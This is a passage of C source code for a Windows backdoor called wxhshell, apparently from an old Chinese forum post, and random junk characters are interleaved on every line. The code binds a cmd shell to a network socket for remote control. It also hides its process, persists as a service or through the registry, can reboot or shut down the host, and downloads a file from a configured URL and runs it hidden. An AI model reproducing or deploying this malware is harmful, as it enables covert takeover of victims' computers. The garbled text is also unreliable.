  // 帮助 'XQ`g CF=  
  case '?': { <oKGD50#  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); l} ^3fQXI  
    break; iF5'ygR-Z  
  } c:S] R"  
  // 安装 W+wA_s2&D  
  case 'i': { zQ?!f#f  
    if(Install()) 'mCe=Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2=0DCF;Bv  
    else A,-6|&F  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;a=w5,h:  
    break; s..lK "b  
    } d4:`@*  
  // 卸载 Z 2}ah  
  case 'r': { gXT9 r' k  
    if(Uninstall()) .xzEAu;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {u{@ jp  
    else @}_WE,r  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8bK|:B#6,  
    break; !?f5>Bl  
    } _EnwME {@  
  // 显示 wxhshell 所在路径 C$Lu]pIL*  
  case 'p': { Tm^89I]L  
    char svExeFile[MAX_PATH]; y4Z &@,_{  
    strcpy(svExeFile,"\n\r"); 3uU]kD^  
      strcat(svExeFile,ExeFile); mC&=X6Q]  
        send(wsh,svExeFile,strlen(svExeFile),0); e+v({^k  
    break; n8=5-7UT  
    } # ,uya2!)  
  // 重启 k 4/D8(OXw  
  case 'b': { j.~!dh$mg  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (Q[fS:U  
    if(Boot(REBOOT)) 76tdJ!4Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \y6OUM2y  
    else { h'J|K^na  
    closesocket(wsh); !f>d_RG  
    ExitThread(0); Y^Nuz/  
    } ]3ONFa  
    break; r`&-9"+  
    } ?1L.:CS  
  // 关机 7*j (*  
  case 'd': { eD$M<Eu  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "gd=J_Yw  
    if(Boot(SHUTDOWN)) ^Jb H?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HS'Vi9  
    else { tMj;s^P1  
    closesocket(wsh); s,bERN7'yO  
    ExitThread(0); T +5X0 Nv  
    } `k(yZtb  
    break; Z nFi<@UB)  
    } }nt* [:%  
  // 获取shell wIkN9 f  
  case 's': { }(a+aHH  
    CmdShell(wsh); O/:UJ( e{  
    closesocket(wsh); )%rg?lI  
    ExitThread(0); 7\_o.(g#-  
    break; 4tg<iH{  
  } XxHx:mi  
  // 退出 w6`9fX6{h  
  case 'x': { 5tQ1fJze  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); tg^sCxz9]  
    CloseIt(wsh); RMO,ZVq  
    break; ]# t6Jwk  
    } gVeEdo`$<  
  // 离开 fQrhsuCrC  
  case 'q': { Z, BC*  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ehz o05/!  
    closesocket(wsh); Va Z!.#(P  
    WSACleanup(); f}guv~K  
    exit(1); =U|N=/y#hJ  
    break; 1+b{}d  
        } ' |-JWH  
  } e\O/H<  
  } '=][J_  
~['Kgh_;  
  // 提示信息 /iG*)6*^k  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Pxn,Qw*  
} 1[_mEtM:]B  
  } w\) |  
&d7Z6P'`G  
  return; A^Kbsc  
} +cb6??H  
.q+0pj  
// shell模块句柄 0$r^C6}f  
int CmdShell(SOCKET sock) FP[!BUOf"  
{ k X {0y  
STARTUPINFO si; \OlmF<~  
ZeroMemory(&si,sizeof(si)); ?UM*Xah  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; keRE==(D  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Em[DHfu1Q  
PROCESS_INFORMATION ProcessInfo; JNcYJ[wqv  
char cmdline[]="cmd"; j }b\Z9)!  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); KfF!{g f  
  return 0; >u9Nz0?j  
} tabT0  
P%K4[c W~  
// 自身启动模式 Wg`R_>qQSm  
int StartFromService(void) ZiLj=bh  
{ o\vBOp?hj  
typedef struct ETs>`#`6o  
{ r$)w7Gk<  
  DWORD ExitStatus; ">?vir^  
  DWORD PebBaseAddress; <\?wAjc,  
  DWORD AffinityMask; h gJ[LU|>  
  DWORD BasePriority; (sWLhUgRX  
  ULONG UniqueProcessId; G[jW<'f  
  ULONG InheritedFromUniqueProcessId; iQ{G(^sZN  
}   PROCESS_BASIC_INFORMATION; \"hJCP?,  
A!^q J#  
PROCNTQSIP NtQueryInformationProcess; V|\7')Qq  
qZ@s#UiB  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; w3jO6*_ M  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; yCCrK@{oo  
r(gXoq_w  
  HANDLE             hProcess; !?Wp+e6  
  PROCESS_BASIC_INFORMATION pbi; }@.|?2b +  
!A48TgAeE  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]qhPd_$?D'  
  if(NULL == hInst ) return 0; +S Jd@y@fR  
h=-"SW  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1;VHM'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); cX3lt5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4tY ss  
W`^@)|9^)  
  if (!NtQueryInformationProcess) return 0; E!S 78 z:  
W456!OHa  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |JCU<_<  
  if(!hProcess) return 0; (XoH,K?{z  
+>JjvYx}\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; m.,U:>  
bV/jfV"%E  
  CloseHandle(hProcess); Jaz?Ys|S  
?7{H|sI  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); eF2|Wjl``;  
if(hProcess==NULL) return 0; qW b+r  
o.I6ulY8  
HMODULE hMod; l&?ii68/  
char procName[255]; s=CK~+,/  
unsigned long cbNeeded; w6j/ Dq!  
'] +Uu'a  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Dd` Mv$*d8  
&r:7g%{n  
  CloseHandle(hProcess); 7g3 >jh  
;J7F J3n  
if(strstr(procName,"services")) return 1; // 以服务启动 o=`C<}  
jlxpt)0i  
  return 0; // 注册表启动 5ZBKRu  
} H/}]FmjN  
NVRLrJWpp  
// 主模块 *?MGMhE  
int StartWxhshell(LPSTR lpCmdLine) fDLG>rXPT  
{ .ji_nZ4.+  
  SOCKET wsl; Ha)ANAD  
BOOL val=TRUE; :,)lm.}]t  
  int port=0; f5` g  
  struct sockaddr_in door; kwsp9 0)  
4bgqg0z>  
  if(wscfg.ws_autoins) Install(); J`2"KzR0w"  
X]y)qV)a[c  
port=atoi(lpCmdLine); ={u0_j W  
u(G*\<z-  
if(port<=0) port=wscfg.ws_port; V*~Zs'L'E  
mkR2i>  
  WSADATA data; @e{^`\l=<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; M9f35 :  
Dwzg/F(  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   RD.V'`n"  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); I|Gp$ uq _  
  door.sin_family = AF_INET; l} qE 46EL  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^b %0 B  
  door.sin_port = htons(port); 4f<$4d^md  
Q%f|~Kl-hd  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }1rm  
closesocket(wsl); Ps<d('=  
return 1; c_>f0i  
} Od|$Y+@6  
#^ ]n0!  
  if(listen(wsl,2) == INVALID_SOCKET) { {^N[("`  
closesocket(wsl); edPUG N  
return 1; IY*EA4>  
} r hfb ftw  
  Wxhshell(wsl); LCQE_}Mh  
  WSACleanup(); '}9JCJ  
//aF5 :Y#  
return 0; Gw1@KKg  
=)7s$ p  
} L31|\x]  
^4o;$u4R  
// 以NT服务方式启动 t2"FXTAq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |n] d34E  
{ ()H:UvM=t  
DWORD   status = 0; ^I+)o1%F  
  DWORD   specificError = 0xfffffff; *2GEnAZb7n  
+}a ]GTBgA  
  serviceStatus.dwServiceType     = SERVICE_WIN32; {*ob_oc  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; BXyo  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; y.q(vzg\_  
  serviceStatus.dwWin32ExitCode     = 0; x+]\1p  
  serviceStatus.dwServiceSpecificExitCode = 0; QeK*j/  
  serviceStatus.dwCheckPoint       = 0; @62Mk},9 c  
  serviceStatus.dwWaitHint       = 0; *Aa?yg:=  
!3ctB3eJ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %D[0nt|X  
  if (hServiceStatusHandle==0) return; 5>TK^1 :  
l\n@cQR  
status = GetLastError(); kTvd+TP4  
  if (status!=NO_ERROR) &e8s65`  
{ t N2Md}@e  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~#/hzS  
    serviceStatus.dwCheckPoint       = 0; LWt&3  
    serviceStatus.dwWaitHint       = 0; /Js7`r=Rx  
    serviceStatus.dwWin32ExitCode     = status; OiP!vn}k  
    serviceStatus.dwServiceSpecificExitCode = specificError; n-@j5w+k4  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); -xP!"  
    return; q?ix$nKOv  
  } NhYLt w^u  
ny54XjtG,  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Ct%x&m:  
  serviceStatus.dwCheckPoint       = 0; Z@$8I{}G  
  serviceStatus.dwWaitHint       = 0; *H|M;G  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `F>O;>i''  
} fX|Y;S-@+  
_hk.2FV:3m  
// 处理NT服务事件,比如:启动、停止 T'b_W,m~,u  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6w@ Ii;  
{ Y(d$  
switch(fdwControl) ~B(6+~%  
{ &kpwo )  
case SERVICE_CONTROL_STOP: EE W_gFn  
  serviceStatus.dwWin32ExitCode = 0; jNC4_q&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; eD#hpl  
  serviceStatus.dwCheckPoint   = 0; :*2ud(  
  serviceStatus.dwWaitHint     = 0; (!zy{;g|  
  { @W9x$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); IOV(seEY  
  } k{Aj^O3gD  
  return; icgSe:Ci  
case SERVICE_CONTROL_PAUSE: z.I9wQ]X[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; /n8B,-Z5s5  
  break; '3 ^+{=q  
case SERVICE_CONTROL_CONTINUE: HC}YY2  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; *VZ5B<Ic  
  break; r#B+(X7LM  
case SERVICE_CONTROL_INTERROGATE: Kp,M"Y  
  break; -Zz$~$  
}; Xqm::1(-(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .>IhN 5  
} s]JF0584  
_> *j H'  
// 标准应用程序主函数 L;f!.FX#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) E\4 +_L_j  
{ &HY+n) o  
E2{FK)qT  
// 获取操作系统版本  ({=gw9f  
OsIsNt=GetOsVer(); ;/rXQe1  
GetModuleFileName(NULL,ExeFile,MAX_PATH); I}vmU^Y>  
!dC<4qZ\C  
  // 从命令行安装 x3"#POp  
  if(strpbrk(lpCmdLine,"iI")) Install(); }x wu*Zx  
B[4KX  
  // 下载执行文件 >L 0_dvr  
if(wscfg.ws_downexe) { E3iW-B8u8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :B:"NyPA  
  WinExec(wscfg.ws_filenam,SW_HIDE); 6 M*O{f  
} &sL&\+=<(  
?28N ^  
if(!OsIsNt) { r|qp3x  
// 如果时win9x,隐藏进程并且设置为注册表启动 JQ@E>o7_  
HideProc(); [YcG(^^  
StartWxhshell(lpCmdLine); McQe1  
} d $Pab*  
else 2 FW \O0U  
  if(StartFromService()) oczN5YSt  
  // 以服务方式启动 `6xkf&Kt  
  StartServiceCtrlDispatcher(DispatchTable); `u&Zrdr,  
else dp*u9z~NA  
  // 普通方式启动 [F6U+1n8e  
  StartWxhshell(lpCmdLine); fk x \=  
HI11Jl}{  
return 0; =^5Alb a/  
}
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只看该作者 1 发表于: 2006-10-10
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